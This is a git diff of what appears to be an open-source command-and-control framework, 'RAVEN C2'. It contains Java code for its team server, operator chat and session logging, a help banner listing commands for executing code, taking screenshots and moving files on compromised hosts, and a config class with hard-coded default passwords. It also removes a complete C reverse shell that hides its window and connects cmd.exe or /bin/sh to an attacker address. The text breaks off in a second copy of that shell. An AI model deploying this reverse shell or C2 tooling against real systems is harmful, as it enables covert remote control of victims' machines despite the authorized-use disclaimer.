R.CanManage()); + M.put("CanKick", R.CanKickOperator()); + M.put("IsSuper", R.IsSuperAdmin()); + Roles.add(M); + } + return HttpHelper.Json(Map.of("Roles", Roles)); + } + + // CHAT + + private String ApiChatSend(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + String Msg = S(B, "Message", ""); + String To = S(B, "To", "all"); + if (Msg.isEmpty()) return HttpHelper.Json(Map.of("Error", "Message required")); + Map Entry = new LinkedHashMap<>(); + Entry.put("From", T.Username()); + Entry.put("To", To); + Entry.put("Message", Msg); + Entry.put("Time", LocalTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss"))); + Chat.add(Entry); + if (Chat.size() > MAX_CHAT) Chat.remove(0); + Db.SaveChatLog(T.Username(), To, Msg); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiChatMessages(HttpExchange E, TokenInfo T) throws Exception { + String User = T.Username(); + List> Visible = new ArrayList<>(); + for (Map M : Chat) { + String To = M.getOrDefault("To", "all").toString(); + String From = M.getOrDefault("From", "").toString(); + if (To.equals("all") || To.equals(User) || From.equals(User)) Visible.add(M); + } + return HttpHelper.Json(Map.of("Messages", Visible, "Count", Visible.size())); + } + + private String ApiChatLogs(HttpExchange E, TokenInfo T) throws Exception { + int Limit = N(Body(E), "Limit", 100); + return HttpHelper.Json(Map.of("Logs", Db.GetChatLogs(Math.min(Limit, 1000)))); + } + + // EVENTS + + private void OnEvent(EventType Type, Map Data) { + switch (Type) { + case ServerStarted -> AddLog("Listener started on " + Data.get("Host") + ":" + Data.get("Port")); + case AgentConnected -> { + AddLog("[+] session-" + Data.get("ID") + " [" + Data.get("Type") + "] " + Data.get("User") + "@" + Data.get("Hostname") + " " + Data.get("OS") + " key=" + Data.get("SessionKey")); + Db.SaveSessionEvent(Data, "connected"); + } + case AgentDisconnected -> { + AddLog("[-] session-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); + Db.SaveSessionEvent(Data, "disconnected"); + } + case AgentRemoved -> AddLog("[-] session-" + Data.get("ID") + " removed"); + case Error -> AddLog("[!] " + Data.get("Message")); + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/banner/CLIBanner.java b/RAVEN-C2/src/main/java/com/raven/interfaces/banner/CLIBanner.java new file mode 100644 index 0000000..049d9c3 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/banner/CLIBanner.java @@ -0,0 +1,86 @@ +package com.raven.interfaces.banner; + +import com.raven.core.output.Logger; +import com.raven.utils.AnsiColor; + +public final class CLIBanner { + + private CLIBanner() {} + + private static final String I = " "; + + public static void Print() { + String R = AnsiColor.Red; + String W = AnsiColor.White; + String X = AnsiColor.Reset; + + Logger.Custom(""); + + Logger.Custom(I + W + "SESSION COMMANDS" + X); + Logger.Custom(I + " " + R + "sessions / agents " + X + "List active sessions"); + Logger.Custom(I + " " + R + "use " + X + "Enter interactive session"); + Logger.Custom(I + " " + R + "exec " + X + "Execute command on session"); + Logger.Custom(I + " " + R + "broadcast " + X + "Execute on specific/all sessions"); + Logger.Custom(I + " " + R + "kill " + X + "Terminate a session"); + Logger.Custom(I + " " + R + "sysinfo " + X + "Full session info"); + Logger.Custom(I + " " + R + "whoami " + X + "Run whoami on session"); + Logger.Custom(I + " " + R + "sleep " + X + "Set agent sleep interval"); + Logger.Custom(I + " " + R + "screenshot " + X + "Request screenshot"); + Logger.Custom(I + " " + R + "download " + X + "Download file from agent"); + Logger.Custom(I + " " + R + "upload " + X + "Upload file to agent"); + Logger.Custom(I + " " + R + "pivot " + X + "Register pivot route (server-side)"); + Logger.Custom(I + " " + R + "note " + X + "Set session note"); + Logger.Custom(I + " " + R + "getnote " + X + "Get session note"); + Logger.Custom(I + " " + R + "history [id] [limit] " + X + "Command history from DB"); + Logger.Custom(I + " " + R + "tasks " + X + "Pending task queue"); + + Logger.Custom(""); + + Logger.Custom(I + W + "SERVER / WEB" + X); + Logger.Custom(I + " " + R + "status " + X + "Server status"); + Logger.Custom(I + " " + R + "stats " + X + "Session statistics"); + Logger.Custom(I + " " + R + "logs " + X + "Recent log entries"); + Logger.Custom(I + " " + R + "webstart [host] [port] " + X + "Start web panel"); + Logger.Custom(I + " " + R + "webstop " + X + "Stop web panel"); + Logger.Custom(I + " " + R + "webstatus " + X + "Web panel status"); + Logger.Custom(I + " " + R + "clear " + X + "Clear screen"); + Logger.Custom(I + " " + R + "exit / quit " + X + "Shutdown & exit"); + + Logger.Custom(""); + + Logger.Custom(I + W + "TEAM OPERATOR MANAGEMENT" + X); + Logger.Custom(I + " " + R + "listopt " + X + "List operators & roles"); + Logger.Custom(I + " " + R + "addopt [ROLE] " + X + "Add operator [ADMIN+]"); + Logger.Custom(I + " " + R + "delopt " + X + "Delete operator [ADMIN+]"); + Logger.Custom(I + " " + R + "setrole " + X + "Change role [SUPER]"); + Logger.Custom(I + " " + R + "passwd " + X + "Change password [ADMIN+]"); + Logger.Custom(I + " " + R + "kick " + X + "Kick operator [SUPER]"); + Logger.Custom(I + " " + R + "chat " + X + "Show in-memory chat"); + Logger.Custom(I + " " + R + "chathistory " + X + "Chat history from DB"); + Logger.Custom(I + " " + R + "ch " + X + "DM an operator"); + Logger.Custom(I + " " + R + "gc all " + X + "Broadcast to all operators"); + + Logger.Custom(""); + + Logger.Custom(I + W + "EXAMPLES" + X); + Logger.Custom(I + " " + R + "use 1 " + X + "Enter session 1"); + Logger.Custom(I + " " + R + "exec 2 whoami " + X + "Run whoami on session 2"); + Logger.Custom(I + " " + R + "broadcast 1,2,3 id " + X + "Run id on sessions 1,2,3"); + Logger.Custom(I + " " + R + "broadcast all uname -a " + X + "Run uname -a on all"); + Logger.Custom(I + " " + R + "sysinfo 3 " + X + "Full info on session 3"); + Logger.Custom(I + " " + R + "note 1 'dev-box initial access' " + X + "Set note for session 1"); + Logger.Custom(I + " " + R + "history 1 20 " + X + "Last 20 cmds on session 1"); + Logger.Custom(I + " " + R + "addopt alice P@ss! OPERATOR " + X + "Add operator"); + Logger.Custom(I + " " + R + "webstart 0.0.0.0 9926 " + X + "Launch web panel on all interfaces, port 9926"); + + Logger.Custom(""); + + Logger.Custom(I + W + "ROLES" + X); + Logger.Custom(I + " " + R + "SUPER " + X + "[RWXK] read, write, execute, kick/delete operator"); + Logger.Custom(I + " " + R + "ADMIN " + X + "[RWX] read, write, execute"); + Logger.Custom(I + " " + R + "OPERATOR " + X + "[RX] read, execute"); + Logger.Custom(I + " " + R + "MEMBER " + X + "[R] read only"); + + Logger.Custom(""); + } +} diff --git a/src/main/java/com/raven/interface/banner/TBanner.java b/RAVEN-C2/src/main/java/com/raven/interfaces/banner/TBanner.java similarity index 96% rename from src/main/java/com/raven/interface/banner/TBanner.java rename to RAVEN-C2/src/main/java/com/raven/interfaces/banner/TBanner.java index 655eaa5..b135670 100644 --- a/src/main/java/com/raven/interface/banner/TBanner.java +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/banner/TBanner.java @@ -1,4 +1,4 @@ -package com.raven.interface.banner; +package com.raven.interfaces.banner; import com.raven.core.output.Logger; import com.raven.utils.AnsiColor; diff --git a/src/main/java/com/raven/utils/AgentSourceGen.java b/RAVEN-C2/src/main/java/com/raven/utils/AgentSourceGen.java similarity index 100% rename from src/main/java/com/raven/utils/AgentSourceGen.java rename to RAVEN-C2/src/main/java/com/raven/utils/AgentSourceGen.java diff --git a/src/main/java/com/raven/utils/AnsiColor.java b/RAVEN-C2/src/main/java/com/raven/utils/AnsiColor.java similarity index 100% rename from src/main/java/com/raven/utils/AnsiColor.java rename to RAVEN-C2/src/main/java/com/raven/utils/AnsiColor.java diff --git a/src/main/java/com/raven/utils/Helper.java b/RAVEN-C2/src/main/java/com/raven/utils/Helper.java similarity index 89% rename from src/main/java/com/raven/utils/Helper.java rename to RAVEN-C2/src/main/java/com/raven/utils/Helper.java index 4573d2a..2f9fbee 100644 --- a/src/main/java/com/raven/utils/Helper.java +++ b/RAVEN-C2/src/main/java/com/raven/utils/Helper.java @@ -12,7 +12,19 @@ public static void PrintHelp() { String.join( NL, "", - " RAVEN Framework", + "RAVEN C2 Framework", + "Author : MatrixTM26", + "Version : 1.0.0", + "GitHub : https://github.com/MatrxitTM26/RAVEN", + "License : AGPL-V3.0", + "", + "LEGAL NOTICE", + "RAVEN C2 Framework is a offensive security tool designed exclusively for:", + " - Authorized penetration testing and red team engagements", + " - Controlled lab and research environments", + " - Cybersecurity education under supervised conditions", + "", + "You MUST have explicit written authorization from the system/network owner before deployment. ", "", " Usage: java -jar raven.jar [flags]", "", diff --git a/RAVEN-C2/src/main/java/com/raven/utils/ServerConfig.java b/RAVEN-C2/src/main/java/com/raven/utils/ServerConfig.java new file mode 100644 index 0000000..da697f1 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/utils/ServerConfig.java @@ -0,0 +1,359 @@ +package com.raven.utils; + +import com.raven.core.output.Logger; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.Properties; + +public final class ServerConfig { + + private static final String DefaultConfigPath = "config/server/server.properties"; + private final Properties Properties = new Properties(); + private final String FilePath; + + public ServerConfig() { + this(DefaultConfigPath); + } + + public ServerConfig(String Path) { + this.FilePath = Path; + LoadDefaults(); + LoadFromFile(Path); + } + + private void LoadDefaults() { + SetPropertyValue("server.host", "0.0.0.0"); + SetPropertyValue("server.port", "4444"); + SetPropertyValue("server.mode", "multi"); + SetPropertyValue("web.host", "0.0.0.0"); + SetPropertyValue("web.port", "5000"); + SetPropertyValue("web.template.dir", "config/interfaces/app/templates"); + SetPropertyValue("web.static.dir", "config/interfaces/app/static"); + SetPropertyValue("web.beacon.port", "-1"); + SetPropertyValue("cert.keystore.path", "certs/server.p12"); + SetPropertyValue("cert.keystore.type", "PKCS12"); + SetPropertyValue("cert.keystore.password", "raven"); + SetPropertyValue("cert.truststore.path", "certs/truststore.p12"); + SetPropertyValue("cert.truststore.type", "PKCS12"); + SetPropertyValue("cert.truststore.password", "raven"); + SetPropertyValue("cert.ca.path", "certs/ca.p12"); + SetPropertyValue("cert.ca.type", "PKCS12"); + SetPropertyValue("cert.ca.password", "raven"); + SetPropertyValue("cert.agent.dir", "certs/agents"); + SetPropertyValue("cert.dn.cn", "RAVEN Server"); + SetPropertyValue("cert.dn.o", "RAVEN C2 Frameworks"); + SetPropertyValue("cert.dn.ou", "ManInTheMatrix"); + SetPropertyValue("cert.dn.l", "DarkNet"); + SetPropertyValue("cert.dn.st", "Cybertron"); + SetPropertyValue("cert.dn.c", "US"); + SetPropertyValue("cert.ca.dn.cn", "RAVEN Root CA"); + SetPropertyValue("cert.ca.dn.o", "RAVEN Frameworks V3"); + SetPropertyValue("cert.ca.dn.ou", "ManInTheMatrix"); + SetPropertyValue("cert.ca.dn.l", "DarkNet"); + SetPropertyValue("cert.ca.dn.st", "Cybertron"); + SetPropertyValue("cert.ca.dn.c", "US"); + SetPropertyValue("cert.server.validity.days", "365"); + SetPropertyValue("cert.agent.validity.days", "90"); + SetPropertyValue("cert.ca.validity.days", "3650"); + SetPropertyValue("cert.tls.protocol", "TLSv1.3"); + SetPropertyValue("agent.connection.timeout", "10000"); + SetPropertyValue("agent.command.timeout", "120000"); + SetPropertyValue("agent.max.connections", "100"); + SetPropertyValue("agent.buffer.size", "8192"); + SetPropertyValue("logging.level", "INFO"); + SetPropertyValue("logging.verbose", "false"); + SetPropertyValue("logging.max.entries", "1000"); + SetPropertyValue("logging.file", "logs/raven.log"); + SetPropertyValue("logging.file.enabled", "false"); + SetPropertyValue("db.type", "none"); + SetPropertyValue("db.path", "database"); + SetPropertyValue("db.url", ""); + SetPropertyValue("db.name", "raven"); + SetPropertyValue("db.user", "raven"); + SetPropertyValue("db.password", "raven"); + SetPropertyValue("db.mongo.uri", "mongodb://localhost:27017"); + SetPropertyValue("db.mongo.name", "raven"); + SetPropertyValue("mode.interface", "cli"); + SetPropertyValue("teamserver.port", "5001"); + } + + private void SetPropertyValue(String Key, String Value) { + Properties.setProperty(Key, Value); + } + + private void LoadFromFile(String Path) { + File FileName = new File(Path); + if (!FileName.exists()) return; + try (InputStream In = new FileInputStream(FileName)) { + Properties.load(In); + } catch (IOException E) { + Logger.Error("server config failed to load " + Path + ": " + E.getMessage()); + } + } + + public String GetFilePath() { + return FilePath; + } + + public String GetServerHost() { + return StrObject("server.host"); + } + + public int GetServerPort() { + return Number("server.port"); + } + + public String GetServerMode() { + return StrObject("server.mode").toLowerCase(); + } + + public String GetWebHost() { + return StrObject("web.host"); + } + + public int GetWebPort() { + return Number("web.port"); + } + + public String GetTemplateDir() { + return StrObject("web.template.dir"); + } + + public String GetStaticDir() { + return StrObject("web.static.dir"); + } + + public int GetBeaconPort() { + return Number("web.beacon.port"); + } + + public String GetKeystorePath() { + return StrObject("cert.keystore.path"); + } + + public String GetKeystoreType() { + return StrObject("cert.keystore.type"); + } + + public String GetKeystorePassword() { + return StrObject("cert.keystore.password"); + } + + public String GetTruststorePath() { + return StrObject("cert.truststore.path"); + } + + public String GetTruststoreType() { + return StrObject("cert.truststore.type"); + } + + public String GetTruststorePassword() { + return StrObject("cert.truststore.password"); + } + + public String GetCaPath() { + return StrObject("cert.ca.path"); + } + + public String GetCaType() { + return StrObject("cert.ca.type"); + } + + public String GetCaPassword() { + return StrObject("cert.ca.password"); + } + + public String GetAgentCertDir() { + return StrObject("cert.agent.dir"); + } + + public String GetDnCn() { + return StrObject("cert.dn.cn"); + } + + public String GetDnO() { + return StrObject("cert.dn.o"); + } + + public String GetDnOu() { + return StrObject("cert.dn.ou"); + } + + public String GetDnL() { + return StrObject("cert.dn.l"); + } + + public String GetDnSt() { + return StrObject("cert.dn.st"); + } + + public String GetDnC() { + return StrObject("cert.dn.c"); + } + + public String GetCaDnCn() { + return StrObject("cert.ca.dn.cn"); + } + + public String GetCaDnO() { + return StrObject("cert.ca.dn.o"); + } + + public String GetCaDnOu() { + return StrObject("cert.ca.dn.ou"); + } + + public String GetCaDnL() { + return StrObject("cert.ca.dn.l"); + } + + public String GetCaDnSt() { + return StrObject("cert.ca.dn.st"); + } + + public String GetCaDnC() { + return StrObject("cert.ca.dn.c"); + } + + public int GetServerValidityDays() { + return Number("cert.server.validity.days"); + } + + public int GetAgentValidityDays() { + return Number("cert.agent.validity.days"); + } + + public int GetCaValidityDays() { + return Number("cert.ca.validity.days"); + } + + public String GetTlsProtocol() { + return StrObject("cert.tls.protocol"); + } + + public int GetConnectionTimeout() { + return Number("agent.connection.timeout"); + } + + public int GetCommandTimeout() { + return Number("agent.command.timeout"); + } + + public int GetMaxConnections() { + return Number("agent.max.connections"); + } + + public int GetBufferSize() { + return Number("agent.buffer.size"); + } + + public String GetLoggingLevel() { + return StrObject("logging.level").toUpperCase(); + } + + public boolean IsVerbose() { + return bool("logging.verbose"); + } + + public int GetMaxLogEntries() { + return Number("logging.max.entries"); + } + + public String GetLogFile() { + return StrObject("logging.file"); + } + + public boolean IsFileLoggingEnabled() { + return bool("logging.file.enabled"); + } + + public String GetInterfaceMode() { + return StrObject("mode.interface").toLowerCase(); + } + + public boolean IsMtlsEnabled() { + String M = GetServerMode(); + return M.equals("mtls") || M.equals("fmtls"); + } + + public boolean IsMeterpreterMode() { + return GetServerMode().equals("multi"); + } + + public String Get(String Key) { + return Properties.getProperty(Key); + } + + public String Get(String Key, String Default) { + return Properties.getProperty(Key, Default); + } + + private String StrObject(String Key) { + return Properties.getProperty(Key, ""); + } + + private int Number(String Key) { + try { + return Integer.parseInt(Properties.getProperty(Key, "0").trim()); + } catch (NumberFormatException E) { + return 0; + } + } + + private boolean bool(String Key) { + return Boolean.parseBoolean(Properties.getProperty(Key, "false").trim()); + } + + public String GetDatabaseType() { + return StrObject("db.type").toLowerCase(); + } + + public String GetDatabaseUrl() { + return StrObject("db.url"); + } + + public String GetDatabaseName() { + return StrObject("db.name"); + } + + public String GetDatabaseUser() { + return StrObject("db.user"); + } + + public String GetDatabasePath() { + return StrObject("db.path"); + } + + public String GetDatabasePassword() { + return StrObject("db.password"); + } + + public String GetMongoUri() { + return StrObject("db.mongo.uri"); + } + + public String GetMongoDbName() { + return StrObject("db.mongo.name"); + } + + public int GetTeamServerPort() { + return Number("teamserver.port"); + } + + public String GetAdminUsername() { + String V = StrObject("admin.username"); + return V.isEmpty() ? "admin" : V; + } + + public String GetAdminPassword() { + String V = StrObject("admin.password"); + return V.isEmpty() ? "admin" : V; + } + + public String GetAdminRole() { + String V = StrObject("admin.role").toUpperCase(); + return V.isEmpty() ? "SUPER" : V; + } +} diff --git a/src/main/java/com/raven/utils/SystemHelper.java b/RAVEN-C2/src/main/java/com/raven/utils/SystemHelper.java similarity index 100% rename from src/main/java/com/raven/utils/SystemHelper.java rename to RAVEN-C2/src/main/java/com/raven/utils/SystemHelper.java diff --git a/RAVEN-C2/src/main/java/com/raven/utils/TerminalHelper.java b/RAVEN-C2/src/main/java/com/raven/utils/TerminalHelper.java new file mode 100644 index 0000000..0c1455c --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/utils/TerminalHelper.java @@ -0,0 +1,166 @@ +package com.raven.utils; + +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; + +public final class TerminalHelper { + + private static final int DEFAULT_WIDTH = 80; + private static final int MIN_WIDTH = 40; + + private static final AtomicInteger CachedWidth = new AtomicInteger(-1); + private static volatile Thread PollerThread; + + private TerminalHelper() {} + + public static void StartPoller() { + if (PollerThread != null && PollerThread.isAlive()) return; + PollerThread = new Thread(() -> { + while (!Thread.currentThread().isInterrupted()) { + CachedWidth.set(Detect()); + try { + Thread.sleep(250); + } catch (InterruptedException Ex) { + Thread.currentThread().interrupt(); + break; + } + } + }, "TerminalWidthPoller"); + PollerThread.setDaemon(true); + PollerThread.start(); + } + + public static int GetWidth() { + String Env = System.getenv("COLUMNS"); + if (Env != null && !Env.isBlank()) { + try { + return Math.max(MIN_WIDTH, Integer.parseInt(Env.trim())); + } catch (NumberFormatException Ignored) {} + } + if (PollerThread == null || !PollerThread.isAlive()) StartPoller(); + int Cached = CachedWidth.get(); + if (Cached > 0) return Cached; + int Detected = Detect(); + CachedWidth.set(Detected); + return Detected; + } + + public static void Clear() { + try { + if (IsWindows()) new ProcessBuilder("cmd", "/c", "cls").inheritIO().start().waitFor(); + else new ProcessBuilder("clear").inheritIO().start().waitFor(); + } catch (Exception Ignored) { + System.out.print("\033[H\033[2J"); + System.out.flush(); + } + } + + public static String OutputBox(String Output) { + int Width = Math.max(34, ContentWidth()); + int Inner = Math.max(0, Width - 2); + int LineWidth = Math.max(1, Inner - 2); + int LabelFill = Math.max(0, Inner - 9); + String Nl = "\n"; + String Indent = " "; + String Top = AnsiColor.Green + "┌─ Output " + "─".repeat(LabelFill) + "┐" + AnsiColor.Reset; + String Bottom = AnsiColor.Green + "└" + "─".repeat(Inner) + "┘" + AnsiColor.Reset; + StringBuilder Sb = new StringBuilder(Indent + Top + Nl); + for (String Line : Output.split(Nl, -1)) { + String S = Line.replaceAll("\u001B\\[[;\\d?]*[A-Za-z]|\u001B[=>]|\r", ""); + while (S.length() > LineWidth) { + Sb.append(Indent).append(AnsiColor.Green).append("│ ").append(AnsiColor.White).append(S, 0, LineWidth).append(AnsiColor.Green).append(" │").append(AnsiColor.Reset).append(Nl); + S = S.substring(LineWidth); + } + int Pad = Math.max(0, LineWidth - S.length()); + Sb.append(Indent).append(AnsiColor.Green).append("│ ").append(AnsiColor.White).append(S).append(" ".repeat(Pad)).append(AnsiColor.Green).append(" │").append(AnsiColor.Reset).append(Nl); + } + return Sb.append(Indent).append(Bottom).toString(); + } + + public static String Box(String Title) { + int Width = ContentWidth(); + int Inner = Math.max(0, Width - 2); + int PaddingLeft = Math.max(0, (Inner - Title.length()) / 2); + int PaddingRight = Math.max(0, Inner - PaddingLeft - Title.length()); + String NL = "\n"; + String Indent = " "; + String Top = AnsiColor.White + "┌" + "─".repeat(Inner) + "┐" + AnsiColor.Reset; + String Middle = AnsiColor.White + "│" + " ".repeat(PaddingLeft) + AnsiColor.Green + Title + " ".repeat(PaddingRight) + AnsiColor.White + "│" + AnsiColor.Reset; + String Bottom = AnsiColor.White + "└" + "─".repeat(Inner) + "┘" + AnsiColor.Reset; + return NL + Indent + Top + NL + Indent + Middle + NL + Indent + Bottom; + } + + public static String Divider() { + return " " + AnsiColor.White + "─".repeat(ContentWidth()) + AnsiColor.Reset; + } + + public static String Truncate(String S, int N) { + return S != null && S.length() > N ? S.substring(0, N - 1) + "…" : S != null ? S : ""; + } + + private static int ContentWidth() { + return Math.max(36, GetWidth() - 4); + } + + private static boolean IsWindows() { + return System.getProperty("os.name", "").toLowerCase().contains("win"); + } + + private static int Detect() { + Integer W = IsWindows() ? DetectWindows() : DetectUnix(); + return W != null ? W : DEFAULT_WIDTH; + } + + private static Integer DetectUnix() { + try { + Process P = new ProcessBuilder("sh", "-c", "stty size < /dev/tty").redirectErrorStream(true).start(); + String Out = new String(P.getInputStream().readAllBytes()).trim(); + P.waitFor(); + String[] Parts = Out.split("\\s+"); + if (Parts.length >= 2) return Math.max(MIN_WIDTH, Integer.parseInt(Parts[1])); + } catch (Exception Ignored) {} + try { + Process P = new ProcessBuilder("sh", "-c", "tput cols < /dev/tty").redirectErrorStream(true).start(); + String Out = new String(P.getInputStream().readAllBytes()).trim(); + P.waitFor(); + if (!Out.isBlank()) return Math.max(MIN_WIDTH, Integer.parseInt(Out)); + } catch (Exception Ignored) {} + return null; + } + + private static Integer DetectWindows() { + try { + ProcessBuilder Pb = new ProcessBuilder("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", "[Console]::WindowWidth"); + Pb.redirectErrorStream(true); + Pb.redirectInput(ProcessBuilder.Redirect.INHERIT); + Process P = Pb.start(); + String Out = new String(P.getInputStream().readAllBytes()).trim(); + boolean Timeout = P.waitFor(1500, TimeUnit.MILLISECONDS); + if (!Timeout) { + P.destroyForcibly(); + } else if (!Out.isBlank()) { + String Digits = Out.replaceAll("\\D+", ""); + if (!Digits.isBlank()) { + int V = Integer.parseInt(Digits); + if (V >= 20 && V <= 1000) return Math.max(MIN_WIDTH, V); + } + } + } catch (Exception Ignored) {} + try { + Process P = new ProcessBuilder("cmd.exe", "/c", "mode con").redirectErrorStream(true).start(); + String Out = new String(P.getInputStream().readAllBytes()); + P.waitFor(1500, TimeUnit.MILLISECONDS); + for (String L : Out.split("\\r?\\n")) { + String Lower = L.toLowerCase(); + if (Lower.contains("column") || Lower.contains("kolom")) { + String Digits = L.replaceAll("[^0-9]", ""); + if (!Digits.isBlank()) { + int V = Integer.parseInt(Digits); + if (V >= 20 && V <= 1000) return Math.max(MIN_WIDTH, V); + } + } + } + } catch (Exception Ignored) {} + return null; + } +} diff --git a/README.md b/README.md index 2f9df7e..5da277b 100644 --- a/README.md +++ b/README.md @@ -14,12 +14,9 @@ # RAVEN ![AGPL](https://img.shields.io/badge/AGPL-v3-000000?style=for-the-badge&logo=gnu&logoColor=ffffff&labelColor=000000&color=03001a) -![OpenJDK](https://img.shields.io/badge/OpenJDK-17+-000000?style=for-the-badge&logo=openjdk&logoColor=ffee1a&labelColor=000000&color=03001a) -![Red Teaming](https://img.shields.io/badge/RED%20TEAMING-000000?style=for-the-badge&logo=keepassxc&logoColor=ff0000&labelColor=000000&color=03001a) -![Cyber Security](https://img.shields.io/badge/CYBER%20SECURITY-000000?style=for-the-badge&logo=socket&logoColor=009ceb&labelColor=000000&color=03001a) -![Cryptography](https://img.shields.io/badge/CRYPTOGRAPHY-000000?style=for-the-badge&logo=letsencrypt&logoColor=0eff39&labelColor=000000&color=03001a) -![Maven](https://img.shields.io/badge/Maven-000000?style=for-the-badge&logo=apachemaven&logoColor=ee6a2a&labelColor=000000&color=03001a) -![Networking](https://img.shields.io/badge/Networking-000000?style=for-the-badge&logo=cloudflare&logoColor=26ff7d&labelColor=000000&color=03001a) +![OpenJDK](https://img.shields.io/badge/OpenJDK-21.0.1-000000?style=for-the-badge&logo=openjdk&logoColor=ffee1a&labelColor=000000&color=03001a) +![Maven](https://img.shields.io/badge/Maven-3.6.0-000000?style=for-the-badge&logo=apachemaven&logoColor=ee6a2a&labelColor=000000&color=03001a) +![Red Teaming](https://img.shields.io/badge/RED-TEAMING-000000?style=for-the-badge&logo=keepassxc&logoColor=ff0000&labelColor=000000&color=03001a) > **_Author:_** _MatrixTM26_ **_GitHub:_** _[MatrixTM26](https://github.com/MatrixTM26)_ @@ -27,15 +24,12 @@ ## Overview -> [!CAUTION] > This tool is currently under development, in some release versions, you may encounter functional errors or logic flaws.
LEGAL DISCLAIMER - -> [!CAUTION] -> **RAVEN Framework is a offensive security tool designed exclusively for:** +> **RAVEN C2 Framework is a offensive security tool designed exclusively for:** > > - Authorized penetration testing and red team engagements > - Controlled lab and research environments @@ -164,7 +158,7 @@ java -jar target/raven-3.0.0.jar -G ### Initialize CA and Server Certificate ```bash -java -jar target/raven-3.0.0.jar --init-certs +java -jar target/raven-3.0.0.jar -I ``` ### Generate Agent Certificates @@ -262,8 +256,8 @@ java -jar target/raven-3.0.0.jar -F -TSW -tp 5001 # fmTLS + TeamServer W | `broadcast [command]` | Broadcast to specific sessions | all | | `exit` | Exit and shutdown server | all | | `listopt` | List all operators | all | -| `addop ` | Add new operator | ADMIN+ | -| `delop ` | Delete operator permanently | ADMIN+ | +| `addopt ` | Add new operator | ADMIN+ | +| `delopt ` | Delete operator permanently | ADMIN+ | | `kick ` | Kick operator | SUPER ADMIN | | `setrole ` | Change operator role/permission | SUPER ADMIN | | `passwd ` | Change operator password | ADMIN+ | @@ -381,13 +375,4 @@ java -jar target/raven-3.0.0.jar -OP - **Author:** [MatrixTM26](https://github.com/MatrixTM26) - **License:** [AGPL-V3](./LICENSE) - -

Copyright ©2023-2026 MatrixTM26 · All Rights Reserved

diff --git a/shell/shell-2.c b/shell/shell-2.c deleted file mode 100644 index d99ea66..0000000 --- a/shell/shell-2.c +++ /dev/null @@ -1,118 +0,0 @@ -#include -#include - -#if defined(_WIN32) || defined(WIN32) - #include - #include - #pragma comment(lib, "ws2_32.lib") - #define CLOSESOCKET closesocket - #define SLEEP(ms) Sleep(ms) - typedef SOCKET SOCKETTYPE; -#else - #include - #include - #include - #include - #define CLOSESOCKET close - #define SLEEP(ms) usleep((ms) * 1000) - typedef int SOCKETTYPE; -#endif - -const char* ATTACKERIP = "127.0.0.1"; -const int ATTACKERPORT = 25000; - -int main() { -#if defined(_WIN32) || defined(WIN32) - HWND hwnd = GetConsoleWindow(); - if (hwnd != NULL) { - ShowWindow(hwnd, SW_HIDE); - } - WSADATA wsaData; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; -#endif - - while (1) { -#if defined(_WIN32) || defined(WIN32) - SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); - if (s == INVALID_SOCKET) { - printf("[!] server seems down. reconnecting...\n"); - SLEEP(5000); - continue; - } - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { - CLOSESOCKET(s); - printf("[!] server seems down. reconnecting...\n"); - SLEEP(5000); - continue; - } - - printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); - - STARTUPINFO si; - PROCESS_INFORMATION pi; - memset(&si, 0, sizeof(si)); - si.cb = sizeof(si); - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; - si.hStdInput = (HANDLE)s; - si.hStdOutput = (HANDLE)s; - si.hStdError = (HANDLE)s; - - char cmd[] = "cmd.exe"; - if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { - WaitForSingleObject(pi.hProcess, INFINITE); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - CLOSESOCKET(s); -#else - int s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) { - printf("[!] server seems down. reconnecting...\n"); - SLEEP(5000); - continue; - } - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { - CLOSESOCKET(s); - printf("[!] server seems down. reconnecting...\n"); - SLEEP(5000); - continue; - } - - printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); - - pid_t pid = fork(); - if (pid == 0) { - dup2(s, 0); - dup2(s, 1); - dup2(s, 2); - execl("/bin/sh", "sh", (char*)NULL); - return 0; - } else if (pid > 0) { - int status; - waitpid(pid, &status, 0); - } - - CLOSESOCKET(s); -#endif - printf("[+] server seems down. reconnecting...\n"); - SLEEP(5000); - } - -#if defined(_WIN32) || defined(WIN32) - WSACleanup(); -#endif - return 0; -} diff --git a/shell/shell-2.cpp b/shell/shell-2.cpp deleted file mode 100644 index ff8b4a5..0000000 --- a/shell/shell-2.cpp +++ /dev/null @@ -1,118 +0,0 @@ -#include -#include - -#if defined(_WIN32) || defined(WIN32) - #include - #include - #pragma comment(lib, "ws2_32.lib") - #define CLOSESOCKET closesocket - #define SLEEP(ms) Sleep(ms) - typedef SOCKET SOCKETTYPE; -#else - #include - #include - #include - #include - #define CLOSESOCKET close - #define SLEEP(ms) usleep((ms) * 1000) - typedef int SOCKETTYPE; -#endif - -const char* ATTACKERIP = "127.0.0.1"; -const int ATTACKERPORT = 25000; - -int main() { -#if defined(_WIN32) || defined(WIN32) 